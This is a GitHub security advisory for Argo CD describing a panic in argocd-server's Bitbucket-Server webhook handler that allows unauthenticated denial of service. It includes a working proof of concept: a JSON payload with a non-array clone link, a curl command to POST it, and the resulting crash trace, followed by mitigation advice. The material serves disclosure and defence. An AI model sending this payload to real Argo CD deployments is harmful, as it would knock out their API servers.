Unauthenticated argocd-server panic via a malicious Bitbucket-Server webhook payload

### Summary Unpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients. With the default configuration, no `webhook.bitbucketserver.secret` set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Bitbucket-Server push event whose JSON field `repository.links.clone` is anything other than an array. A single unauthenticated curl request can push the control-plane into CrashLoopBackOff; repeating the request on each replica causes a complete outage of the API. ### Details ```go // webhook.go (Bitbucket-Server branch in affectedRevisionInfo) for _, l := range payload.Repository.Links["clone"].([]any) { // <- unsafe cast link := l.(map[string]any) ... } ``` If links.clone is a string, number, object, or null, the first type assertion panics: interface conversion: interface {} is string, not []interface {} The worker goroutine created by startWorkerPool lacks a recover, so the panic terminates the whole binary. ### PoC Save as payload-panic.json - note the non-array links.clone. ```json { "eventKey": "repo:refs_changed", "repository": { "name": "guestbook", "fullName": "APP/guestbook", "links": { "clone": "boom" } }, "changes": [ { "ref": { "id": "refs/heads/master" } } ] } ``` ```shell curl -k -X POST https://argocd.example.com/api/webhook \ -H 'X-Event-Key: repo:refs_changed' \ -H 'Content-Type: application/json' \ --data-binary @payload-panic.json ``` Observed crash (argocd-server restart): ``` panic: interface conversion: interface {} is string, not []interface {} goroutine 192 [running]: github.com/argoproj/argo-cd/v3/server/webhook.affectedRevisionInfo webhook.go:209 +0x1218 ... ``` ### Mitigation If you use Bitbucket Server and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler. If you do not use Bitbucket Server, you can set the webhook secret to a long, random value to effectively disable webhook handling for Bitbucket Server payloads. ```diff apiVersion: v1 kind: Secret metadata: name: argocd-secret type: Opaque data: + webhook.bitbucketserver.secret: <your base64-encoded secret here> ``` ### For more information * Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions) * Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd ### Credits Discovered by Jakub Ciolek at AlphaSense.

Source published

30 Sep 2025 18:11:59 UTC

Source modified

23 Oct 2025 20:21:58 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH